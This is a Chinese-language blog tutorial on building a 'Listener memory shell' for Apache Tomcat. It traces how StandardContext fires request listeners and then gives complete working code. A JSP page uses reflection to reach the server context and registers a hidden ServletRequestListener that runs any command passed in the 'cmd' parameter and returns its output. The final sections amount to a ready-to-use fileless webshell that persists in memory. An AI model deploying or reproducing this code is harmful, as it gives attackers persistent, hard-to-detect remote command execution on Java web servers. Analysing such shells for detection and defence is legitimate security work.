前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Listener 内存马

Listener 内存马

作者头像
yulate
发布2023-05-02 11:02:43
3440
发布2023-05-02 11:02:43
举报

0x01 项目搭建

Servlet 规范中定义了 8 个监听器接口,其中最适合用来做内存马的是ServletRequestListener,它被用于监听 ServletRequest 对象的创建和销毁过程,在每次访问的时候都会被调用。

Servlet Listener(监听器) (biancheng.net)

memoryListener

代码语言:javascript
复制
package com.yulate.tomcatmemory.listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class memoryListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        ServletRequestListener.super.requestDestroyed(sre);
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
//        ServletRequestListener.super.requestInitialized(sre);
        System.out.println("lister");
    }
}

web.xml

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <listener>
        <listener-class>com.yulate.tomcatmemory.listener.memoryListener</listener-class>
    </listener>
</web-app>

0x02 流程分析

requestInitialized方法中打上断点

file
file

进行访问之后的调用栈如下

代码语言:javascript
复制
requestInitialized:24, memoryListener (com.yulate.tomcatmemory.listener)
fireRequestInitEvent:5901, StandardContext (org.apache.catalina.core)
invoke:125, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:373, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:868, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1590, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

我们直接从StandardHostValve#invoke()方法开始看起

file
file

调用StandardContext#fireRequestInitEvent()方法,其中传入的参数为request

fireRequestInitEvent方法中通过getApplicationEventListeners方法直接获取出全部的listener,如何再进行遍历调用listerner中的requestInitialized方法。

file
file

0x03 内存马实现分析

相对于filter内存马listener内存马要简单的很多,没有filter调用链这种东西

在上述流程分析中提到getApplicationEventListeners方法能够获取到全部的listerner

file
file

该变量就是储存listerner的变量

file
file

向其中添加数据的方法有如下两个

代码语言:javascript
复制
    /**
     * Add a listener to the end of the list of initialized application event
     * listeners.
     *
     * @param listener The listener to add
     */
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

    /**
     * {@inheritDoc}
     *
     * Note that this implementation is not thread safe. If two threads call
     * this method concurrently, the result may be either set of listeners or a
     * the union of both.
     */
    @Override
    public void setApplicationEventListeners(Object listeners[]) {
        applicationEventListenersList.clear();
        if (listeners != null && listeners.length > 0) {
            applicationEventListenersList.addAll(Arrays.asList(listeners));
        }
    }

0x04 正式实现

获取context

可以参考StandardHostValve#invoke()方法中使用的办法。

file
file

在jsp中也可以参考直接获取content

代码语言:javascript
复制
<%
    System.out.println(request);
    try {
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request req = (Request) requestField.get(request);

        Context context = req.getContext();
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
%>

创建恶意listener

创建实现至ServletRequestListener接口的listener

代码语言:javascript
复制
class EvalListener implements ServletRequestListener {
            @Override
            public void requestDestroyed(ServletRequestEvent sre) {
                ServletRequestListener.super.requestDestroyed(sre);
            }

            @Override
            public void requestInitialized(ServletRequestEvent sre) {
                try {
                    HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
                    PrintWriter pw = response.getWriter();
                    String cmd = httpServletRequest.getParameter("cmd");
                    System.out.println(cmd);
                    if (cmd != null) {
                        Process process = Runtime.getRuntime().exec(cmd);
                        InputStream input = process.getInputStream();
                        BufferedReader br = new BufferedReader(new InputStreamReader(input));
                        String line = null;
                        while ((line = br.readLine()) != null) {
                            pw.write(line);
                        }
                        br.close();
                        input.close();
                        pw.write("\n");
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

插入listener

使用上述分析出的addApplicationEventListener方法插入恶意listener

代码语言:javascript
复制
        EvalListener evalListener = new EvalListener();
        context.addApplicationEventListener(evalListener);

JSP 内存马

代码语言:javascript
复制
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%--
  Created by IntelliJ IDEA.
  User: yulate
  Date: 4/12/2023
  Time: 4:19 PM
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    System.out.println(request);
    try {
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request req = (Request) requestField.get(request);

        StandardContext context = (StandardContext) req.getContext();

        class EvalListener implements ServletRequestListener {
            @Override
            public void requestDestroyed(ServletRequestEvent sre) {
                ServletRequestListener.super.requestDestroyed(sre);
            }

            @Override
            public void requestInitialized(ServletRequestEvent sre) {
                try {
                    HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
                    PrintWriter pw = response.getWriter();
                    String cmd = httpServletRequest.getParameter("cmd");
                    System.out.println(cmd);
                    if (cmd != null) {
                        Process process = Runtime.getRuntime().exec(cmd);
                        InputStream input = process.getInputStream();
                        BufferedReader br = new BufferedReader(new InputStreamReader(input));
                        String line = null;
                        while ((line = br.readLine()) != null) {
                            pw.write(line);
                        }
                        br.close();
                        input.close();
                        pw.write("\n");
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

        EvalListener evalListener = new EvalListener();
        context.addApplicationEventListener(evalListener);

        out.println("inject success");
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

浏览量: 1

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-4-28 0,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 项目搭建
  • 0x02 流程分析
  • 0x03 内存马实现分析
  • 0x04 正式实现
    • 获取context
      • 创建恶意listener
        • 插入listener
          • JSP 内存马
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档